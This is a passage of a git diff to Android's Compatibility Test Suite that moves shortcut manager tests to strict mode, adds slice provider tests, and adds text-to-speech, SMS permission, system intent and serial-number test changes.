import static android.content.pm.LauncherApps.ShortcutQuery.FLAG_MATCH_DYNAMIC;
import static android.content.pm.LauncherApps.ShortcutQuery.FLAG_MATCH_MANIFEST;
import static android.content.pm.LauncherApps.ShortcutQuery.FLAG_MATCH_PINNED;
@@ -266,6 +267,18 @@
.revertToOriginalList()
.selectByIds("ms32")
.areAllDisabled();
+
+ // Make sure "ALL_PINNED" doesn't work without the permission.
+ assertWith(getShortcutsAsLauncher(
+ FLAG_MATCH_PINNED | FLAG_GET_KEY_FIELDS_ONLY
+ | FLAG_MATCH_PINNED_BY_ANY_LAUNCHER,
+ mPackageContext1.getPackageName()))
+ .haveIds("s3", "s4", "ms22");
+ assertWith(getShortcutsAsLauncher(
+ FLAG_MATCH_PINNED | FLAG_GET_KEY_FIELDS_ONLY
+ | FLAG_MATCH_PINNED_BY_ANY_LAUNCHER,
+ mPackageContext2.getPackageName()))
+ .haveIds("s1", "s2", "s3", "ms32");
});
}
}
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java
index 756cf80..17f4cf7 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java
@@ -65,7 +65,7 @@
final String SHORTCUT_ID = "s12345";
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().isRequestPinShortcutSupported());
ReplyUtil.invokeAndWaitForReply(getTestContext(), (replyAction) -> {
@@ -84,7 +84,7 @@
Log.i(TAG, "Done.");
});
});
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
final ShortcutQuery query = new ShortcutQuery()
.setPackage(mPackageContext1.getPackageName())
.setShortcutIds(list(SHORTCUT_ID))
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerStartShortcutTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerStartShortcutTest.java
index 9cf1f89..a66e8ed 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerStartShortcutTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerStartShortcutTest.java
@@ -53,7 +53,7 @@
ShortcutLaunchedActivity.setExpectedOrder(expectedActions);
- runWithCaller(launcher, () -> {
+ runWithCallerWithStrictMode(launcher, () -> {
getLauncherApps().startShortcut(client.getPackageName(), id, rect, options,
getUserHandle());
});
@@ -73,7 +73,7 @@
private void assertShortcutCantStart(Context launcher, Context client, String id,
Class<? extends Throwable> exceptionClass) {
- runWithCaller(launcher, () -> {
+ runWithCallerWithStrictMode(launcher, () -> {
assertExpectException(exceptionClass, "", () -> {
getLauncherApps().startShortcut(client.getPackageName(), id, null, null,
@@ -96,7 +96,7 @@
.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION)
.putExtra("k1", "v1");
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().addDynamicShortcuts(list(
makeShortcutBuilder("s1").setShortLabel("abc")
.setIntent(i).build()
@@ -128,7 +128,7 @@
.setComponent(mLaunchedActivity)
.putExtra("kx", "vx");
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().addDynamicShortcuts(list(
makeShortcutBuilder("s1").setShortLabel("abc")
.setIntents(new Intent[]{i1, i2, i3}).build()
@@ -182,7 +182,7 @@
testStartMultiple();
// then remove it.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
getManager().removeAllDynamicShortcuts();
});
@@ -198,7 +198,7 @@
.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION)
.putExtra("k1", "v1");
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().addDynamicShortcuts(list(
makeShortcutBuilder("s1").setShortLabel("abc")
.setIntent(i).build()
@@ -219,13 +219,13 @@
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
// then pin it.
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
list("s1"), getUserHandle());
});
// Then remove it.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
getManager().removeAllDynamicShortcuts();
});
@@ -241,7 +241,7 @@
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
// then pin it.
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
list("s1"), getUserHandle());
});
@@ -257,7 +257,7 @@
assertShortcutStarts(mLauncherContext2, mPackageContext1, "s1", EXPECTED_ACTIONS_SINGLE);
// Then remove it.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
getManager().removeAllDynamicShortcuts();
});
@@ -304,7 +304,7 @@
Intent i = new Intent(Intent.ACTION_MAIN)
.setComponent(new ComponentName("abc", "def"));
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().addDynamicShortcuts(list(
makeShortcutBuilder("s1").setShortLabel("abc")
.setIntent(i).build()
@@ -329,7 +329,7 @@
"android.content.pm.cts.shortcutmanager.packages.package4",
"android.content.pm.cts.shortcutmanager.packages.Launcher"));
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().addDynamicShortcuts(list(
makeShortcutBuilder("s1").setShortLabel("abc")
.setIntent(i).build()
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerUsageTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerUsageTest.java
index 064ba58..50ce615 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerUsageTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerUsageTest.java
@@ -75,7 +75,7 @@
public void testReportShortcutUsed() throws InterruptedException {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
enableManifestActivity("Launcher_manifest_2", true);
retryUntil(() -> getManager().getManifestShortcuts().size() > 0,
@@ -89,13 +89,13 @@
final String idManifest = "ms21";
final String idNonexistance = "nonexistence";
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut(id1),
makeShortcut(id2)
)));
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut(id1),
makeShortcut(id3)
@@ -106,7 +106,7 @@
// Report usage.
final long start1 = System.currentTimeMillis() - USAGE_STATS_RANGE_ALLOWANCE;
- runWithCaller(mPackageContext2, () -> getManager().reportShortcutUsed(id3));
+ runWithCallerWithStrictMode(mPackageContext2, () -> getManager().reportShortcutUsed(id3));
final long end1 = System.currentTimeMillis() + USAGE_STATS_RANGE_ALLOWANCE;
// Check the log.
@@ -115,7 +115,7 @@
// Report usage.
final long start2 = System.currentTimeMillis() - USAGE_STATS_RANGE_ALLOWANCE;
- runWithCaller(mPackageContext1, () -> getManager().reportShortcutUsed(id1));
+ runWithCallerWithStrictMode(mPackageContext1, () -> getManager().reportShortcutUsed(id1));
final long end2 = System.currentTimeMillis() + USAGE_STATS_RANGE_ALLOWANCE;
// Check the log.
@@ -124,8 +124,8 @@
// Report usage.
final long start3 = System.currentTimeMillis() - USAGE_STATS_RANGE_ALLOWANCE;
- runWithCaller(mPackageContext1, () -> getManager().reportShortcutUsed(idNonexistance));
- runWithCaller(mPackageContext1, () -> getManager().reportShortcutUsed(idManifest));
+ runWithCallerWithStrictMode(mPackageContext1, () -> getManager().reportShortcutUsed(idNonexistance));
+ runWithCallerWithStrictMode(mPackageContext1, () -> getManager().reportShortcutUsed(idManifest));
final long end3 = System.currentTimeMillis() + USAGE_STATS_RANGE_ALLOWANCE;
// Check the log.
diff --git a/tests/tests/slice/Android.mk b/tests/tests/slice/Android.mk
new file mode 100644
index 0000000..184e8d4
--- /dev/null
+++ b/tests/tests/slice/Android.mk
@@ -0,0 +1,45 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+# and when built explicitly put it in the data partition
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_JAVA_LIBRARIES := android.test.runner
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ compatibility-device-util \
+ ctsdeviceutillegacy \
+ ctstestrunner \
+ mockito-target-minus-junit4 \
+ platform-test-annotations \
+ ub-uiautomator \
+ legacy-android-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsSliceTestCases
+
+include $(BUILD_CTS_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/slice/AndroidManifest.xml b/tests/tests/slice/AndroidManifest.xml
new file mode 100644
index 0000000..87253c5
--- /dev/null
+++ b/tests/tests/slice/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2007 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.slice.cts">
+
+ <uses-permission android:name="android.permission.BIND_SLICE" />
+
+ <application android:label="Android TestCase"
+ android:icon="@drawable/size_48x48"
+ android:maxRecents="1"
+ android:multiArch="true"
+ android:supportsRtl="true">
+ <uses-library android:name="android.test.runner" />
+
+ <provider android:name=".SliceProvider"
+ android:authorities="android.slice.cts"
+ android:process=":slice_process" />
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.slice.cts"
+ android:label="CTS tests of android.slice">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+
+</manifest>
diff --git a/tests/tests/slice/AndroidTest.xml b/tests/tests/slice/AndroidTest.xml
new file mode 100644
index 0000000..54e8b61
--- /dev/null
+++ b/tests/tests/slice/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Slice test cases">
+ <option name="config-descriptor:metadata" key="component" value="misc" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsSliceTestCases.apk" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="pm grant android.slice.cts android.permission.BIND_SLICE" />
+ <option name="teardown-command" value="pm revoke android.slice.cts android.permission.BIND_SLICE"/>
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.slice.cts" />
+ <option name="runtime-hint" value="1m" />
+ </test>
+</configuration>
diff --git a/tests/tests/slice/res/drawable/size_48x48.jpg b/tests/tests/slice/res/drawable/size_48x48.jpg
new file mode 100644
index 0000000..5c2291e
--- /dev/null
+++ b/tests/tests/slice/res/drawable/size_48x48.jpg
Binary files differ
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProvider.java b/tests/tests/slice/src/android/slice/cts/SliceProvider.java
new file mode 100644
index 0000000..265ea67
--- /dev/null
+++ b/tests/tests/slice/src/android/slice/cts/SliceProvider.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
+ * except in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the specific language governing
+ * permissions and limitations under the License.
+ */
+
+package android.slice.cts;
+
+import android.app.PendingIntent;
+import android.content.Intent;
+import android.graphics.drawable.Icon;
+import android.net.Uri;
+import android.app.slice.Slice;
+import android.app.slice.Slice.Builder;
+
+public class SliceProvider extends android.app.slice.SliceProvider {
+
+ @Override
+ public boolean onCreate() {
+ return true;
+ }
+
+ @Override
+ public Slice onBindSlice(Uri sliceUri) {
+ switch (sliceUri.getPath()) {
+ case "/set_flag":
+ SliceTest.sFlag = true;
+ break;
+ case "/subslice":
+ Builder b = new Builder(sliceUri);
+ return b.addSubSlice(new Slice.Builder(b).build(), "subslice").build();
+ case "/text":
+ return new Slice.Builder(sliceUri).addText("Expected text", "text").build();
+ case "/icon":
+ return new Slice.Builder(sliceUri).addIcon(
+ Icon.createWithResource(getContext(), R.drawable.size_48x48), "icon").build();
+ case "/action":
+ Builder builder = new Builder(sliceUri);
+ Slice subSlice = new Slice.Builder(builder).build();
+ PendingIntent broadcast = PendingIntent.getBroadcast(getContext(), 0,
+ new Intent(getContext().getPackageName() + ".action"), 0);
+ return builder.addAction(broadcast, subSlice, "action").build();
+ case "/color":
+ return new Slice.Builder(sliceUri).addColor(0xff121212, "color").build();
+ case "/timestamp":
+ return new Slice.Builder(sliceUri).addTimestamp(43, "timestamp").build();
+ case "/hints":
+ return new Slice.Builder(sliceUri)
+ .addHints(Slice.HINT_LIST)
+ .addText("Text", null, Slice.HINT_TITLE)
+ .addIcon(Icon.createWithResource(getContext(), R.drawable.size_48x48),
+ null, Slice.HINT_NO_TINT, Slice.HINT_LARGE)
+ .build();
+ }
+ return new Slice.Builder(sliceUri).build();
+ }
+}
diff --git a/tests/tests/slice/src/android/slice/cts/SliceTest.java b/tests/tests/slice/src/android/slice/cts/SliceTest.java
new file mode 100644
index 0000000..8efcf4c
--- /dev/null
+++ b/tests/tests/slice/src/android/slice/cts/SliceTest.java
@@ -0,0 +1,192 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
+ * except in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the specific language governing
+ * permissions and limitations under the License.
+ */
+
+package android.slice.cts;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.app.PendingIntent.CanceledException;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.graphics.drawable.Icon;
+import android.net.Uri;
+import android.app.slice.Slice;
+import android.app.slice.SliceItem;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class SliceTest {
+
+ public static boolean sFlag = false;
+
+ private static final Uri BASE_URI = Uri.parse("content://android.slice.cts/");
+ private final Context mContext = InstrumentationRegistry.getContext();
+
+ @Test
+ public void testProcess() {
+ sFlag = false;
+ Slice.bindSlice(mContext.getContentResolver(),
+ BASE_URI.buildUpon().appendPath("set_flag").build(),
+ Collections.emptyList());
+ assertFalse(sFlag);
+ }
+
+ @Test
+ public void testType() {
+ assertEquals(SliceProvider.SLICE_TYPE,
+ mContext.getContentResolver().getType(BASE_URI));
+ }
+
+ @Test
+ public void testSliceUri() {
+ Slice s = Slice.bindSlice(mContext.getContentResolver(), BASE_URI,
+ Collections.emptyList());
+ assertEquals(BASE_URI, s.getUri());
+ }
+
+ @Test
+ public void testSubSlice() {
+ Uri uri = BASE_URI.buildUpon().appendPath("subslice").build();
+ Slice s = Slice.bindSlice(mContext.getContentResolver(), uri,
+ Collections.emptyList());
+ assertEquals(uri, s.getUri());
+ assertEquals(1, s.getItems().size());
+
+ SliceItem item = s.getItems().get(0);
+ assertEquals(SliceItem.FORMAT_SLICE, item.getFormat());
+ assertEquals("subslice", item.getSubType());
+ // The item should start with the same Uri as the parent, but be different.
+ assertTrue(item.getSlice().getUri().toString().startsWith(uri.toString()));
+ assertNotEquals(uri, item.getSlice().getUri());
+ }
+
+ @Test
+ public void testText() {
+ Uri uri = BASE_URI.buildUpon().appendPath("text").build();
+ Slice s = Slice.bindSlice(mContext.getContentResolver(), uri,
+ Collections.emptyList());
+ assertEquals(uri, s.getUri());
+ assertEquals(1, s.getItems().size());
+
+ SliceItem item = s.getItems().get(0);
+ assertEquals(SliceItem.FORMAT_TEXT, item.getFormat());
+ // TODO: Test spannables here.
+ assertEquals("Expected text", item.getText());
+ }
+
+ @Test
+ public void testIcon() {
+ Uri uri = BASE_URI.buildUpon().appendPath("icon").build();
+ Slice s = Slice.bindSlice(mContext.getContentResolver(), uri,
+ Collections.emptyList());
+ assertEquals(uri, s.getUri());
+ assertEquals(1, s.getItems().size());
+
+ SliceItem item = s.getItems().get(0);
+ assertEquals(SliceItem.FORMAT_IMAGE, item.getFormat());
+ assertEquals(Icon.createWithResource(mContext, R.drawable.size_48x48).toString(),
+ item.getIcon().toString());
+ }
+
+ @Test
+ public void testAction() {
+ sFlag = false;
+ CountDownLatch latch = new CountDownLatch(1);
+ BroadcastReceiver receiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ sFlag = true;
+ latch.countDown();
+ }
+ };
+ mContext.registerReceiver(receiver,
+ new IntentFilter(mContext.getPackageName() + ".action"));
+ Uri uri = BASE_URI.buildUpon().appendPath("action").build();
+ Slice s = Slice.bindSlice(mContext.getContentResolver(), uri,
+ Collections.emptyList());
+ assertEquals(uri, s.getUri());
+ assertEquals(1, s.getItems().size());
+
+ SliceItem item = s.getItems().get(0);
+ assertEquals(SliceItem.FORMAT_ACTION, item.getFormat());
+ try {
+ item.getAction().send();
+ } catch (CanceledException e) {
+ }
+
+ try {
+ latch.await(100, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ assertTrue(sFlag);
+ mContext.unregisterReceiver(receiver);
+ }
+
+ @Test
+ public void testColor() {
+ Uri uri = BASE_URI.buildUpon().appendPath("color").build();
+ Slice s = Slice.bindSlice(mContext.getContentResolver(), uri,
+ Collections.emptyList());
+ assertEquals(uri, s.getUri());
+ assertEquals(1, s.getItems().size());
+
+ SliceItem item = s.getItems().get(0);
+ assertEquals(SliceItem.FORMAT_COLOR, item.getFormat());
+ assertEquals(0xff121212, item.getColor());
+ }
+
+ @Test
+ public void testTimestamp() {
+ Uri uri = BASE_URI.buildUpon().appendPath("timestamp").build();
+ Slice s = Slice.bindSlice(mContext.getContentResolver(), uri,
+ Collections.emptyList());
+ assertEquals(uri, s.getUri());
+ assertEquals(1, s.getItems().size());
+
+ SliceItem item = s.getItems().get(0);
+ assertEquals(SliceItem.FORMAT_TIMESTAMP, item.getFormat());
+ assertEquals(43, item.getTimestamp());
+ }
+
+ @Test
+ public void testHints() {
+ // Note this tests that hints are propagated through to the client but not that any specific
+ // hints have any effects.
+ Uri uri = BASE_URI.buildUpon().appendPath("hints").build();
+ Slice s = Slice.bindSlice(mContext.getContentResolver(), uri,
+ Collections.emptyList());
+ assertEquals(uri, s.getUri());
+
+ assertEquals(Arrays.asList(Slice.HINT_LIST), s.getHints());
+ assertEquals(Arrays.asList(Slice.HINT_TITLE), s.getItems().get(0).getHints());
+ assertEquals(Arrays.asList(Slice.HINT_NO_TINT, Slice.HINT_LARGE),
+ s.getItems().get(1).getHints());
+ }
+}
diff --git a/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java b/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java
index 857ffd8..6b3abf6 100644
--- a/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java
+++ b/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java
@@ -15,6 +15,7 @@
*/
package android.speech.tts.cts;
+import android.os.ConditionVariable;
import android.media.AudioFormat;
import android.os.ConditionVariable;
import android.speech.tts.SynthesisCallback;
@@ -37,6 +38,10 @@
// Object that onSynthesizeText will #block on, if set to non-null
public static volatile ConditionVariable sSynthesizeTextWait;
+ // Condition variable that onSynthesizeText will #open when it started
+ // synethesizing, if set to non-null.
+ public static volatile ConditionVariable sSynthesizeTextStartEvent;
+
private ArrayList<Locale> supportedLanguages = new ArrayList<Locale>();
private ArrayList<Locale> supportedCountries = new ArrayList<Locale>();
private ArrayList<Locale> GBFallbacks = new ArrayList<Locale>();
@@ -80,6 +85,11 @@
return;
}
+ final ConditionVariable synthesizeTextStartEvent = sSynthesizeTextStartEvent;
+ if (synthesizeTextStartEvent != null) {
+ sSynthesizeTextStartEvent.open();
+ }
+
final ConditionVariable synthesizeTextWait = sSynthesizeTextWait;
if (synthesizeTextWait != null) {
synthesizeTextWait.block(10000); // 10s timeout
diff --git a/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
index 4d9faad..8e54d31 100644
--- a/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
+++ b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
@@ -117,6 +117,27 @@
}
}
+ public void testSpeakStopBehindOtherAudioPlayback() throws Exception {
+ final ConditionVariable synthesizeTextWait = new ConditionVariable();
+ final ConditionVariable synthesizeTextStartEvent = new ConditionVariable();
+ StubTextToSpeechService.sSynthesizeTextWait = synthesizeTextWait;
+ StubTextToSpeechService.sSynthesizeTextStartEvent = synthesizeTextStartEvent;
+
+ // Make the audio playback queue busy by putting a 30s of silence.
+ getTts().stop();
+ getTts().playSilentUtterance(30000, TextToSpeech.QUEUE_ADD, "silence");
+
+ // speak(), wait it to starting in the service, and stop().
+ int result = getTts().speak(UTTERANCE, TextToSpeech.QUEUE_ADD, null, "stop");
+ assertEquals("speak() failed", TextToSpeech.SUCCESS, result);
+ assertTrue("synthesis not started", synthesizeTextStartEvent.block(10000));
+ getTts().stop();
+
+ // Wake up the Stubs #onSynthesizeSpeech (one that will be stopped in-progress)
+ synthesizeTextWait.open();
+
+ assertTrue("speak() stop callback timeout", mTts.waitForStop("stop"));
+ }
public void testMediaPlayerFails() throws Exception {
File sampleFile = new File(Environment.getExternalStorageDirectory(), "notsound.wav");
diff --git a/tests/tests/systemintents/Android.mk b/tests/tests/systemintents/Android.mk
index 573e2ee..77b28a4 100644
--- a/tests/tests/systemintents/Android.mk
+++ b/tests/tests/systemintents/Android.mk
@@ -27,7 +27,7 @@
LOCAL_PACKAGE_NAME := CtsSystemIntentTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test android-support-test
LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
index c572629..086f2cb 100644
--- a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
+++ b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
@@ -16,6 +16,8 @@
package android.systemintents.cts;
+import static org.junit.Assert.assertTrue;
+
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
@@ -23,14 +25,17 @@
import android.net.Uri;
import android.provider.Settings;
import android.support.test.filters.MediumTest;
-import android.test.AndroidTestCase;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.InstrumentationRegistry;
import android.util.Log;
-import org.junit.Rule;
import org.junit.Test;
+import org.junit.runner.RunWith;
@MediumTest
-public class TestSystemIntents extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class TestSystemIntents {
+
/*
* List of activity intents defined by the system. Activities to handle each of these
* intents must all exist.
@@ -56,7 +61,6 @@
}
}
- @Rule
private final IntentEntry[] mTestIntents = {
/* Settings-namespace intent actions */
new IntentEntry(0, new Intent(Settings.ACTION_SETTINGS)),
@@ -76,7 +80,7 @@
@Test
public void testSystemIntents() {
- final PackageManager pm = getContext().getPackageManager();
+ final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
int productFlags = 0;
if (pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
@@ -87,7 +91,7 @@
productFlags |= EXCLUDE_NON_TELEPHONY;
}
- final Configuration config = getContext().getResources().getConfiguration();
+ final Configuration config = InstrumentationRegistry.getContext().getResources().getConfiguration();
if ((config.uiMode & Configuration.UI_MODE_TYPE_WATCH) != 0) {
productFlags |= EXCLUDE_WATCH;
}
@@ -99,4 +103,4 @@
}
}
}
-}
\ No newline at end of file
+}
diff --git a/tests/tests/telephony/EmbmsMiddlewareTestApp/Android.mk b/tests/tests/telephony/EmbmsMiddlewareTestApp/Android.mk
index cbd18b2..748b6963 100644
--- a/tests/tests/telephony/EmbmsMiddlewareTestApp/Android.mk
+++ b/tests/tests/telephony/EmbmsMiddlewareTestApp/Android.mk
@@ -14,7 +14,7 @@
LOCAL_MODULE_TAGS := optional
LOCAL_SDK_VERSION := test_current
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_PROGUARD_ENABLED := disabled
diff --git a/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java
index 8ffee99..74f9d13 100755
--- a/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java
@@ -283,6 +283,24 @@
}
}
+
+ public void testSmsNotPersisted_failsWithoutCarrierPermissions() throws Exception {
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ return;
+ }
+
+ assertFalse("[RERUN] SIM card does not provide phone number. Use a suitable SIM Card.",
+ TextUtils.isEmpty(mDestAddr));
+
+ try {
+ getSmsManager().sendTextMessageWithoutPersisting(mDestAddr, null /*scAddress */,
+ mDestAddr, mSentIntent, mDeliveredIntent);
+ fail("We should get a SecurityException due to not having carrier privileges");
+ } catch (SecurityException e) {
+ // Success
+ }
+ }
+
private void init() {
mSendReceiver.reset();
mDeliveryReceiver.reset();
diff --git a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
index a6404e0..4c58f8f 100644
--- a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
@@ -358,12 +358,12 @@
}
private void assertSerialNumber() {
- assertNotNull("Non-telephony devices must have a Build.SERIAL number.",
- Build.SERIAL);
+ assertNotNull("Non-telephony devices must have a Build.getSerial() number.",
+ Build.getSerial());
assertTrue("Hardware id must be no longer than 20 characters.",
- Build.SERIAL.length() <= 20);
+ Build.getSerial().length() <= 20);
assertTrue("Hardware id must be alphanumeric.",
- Pattern.matches("[0-9A-Za-z]+", Build.SERIAL));
+ Pattern.matches("[0-9A-Za-z]+", Build.getSerial()));
}
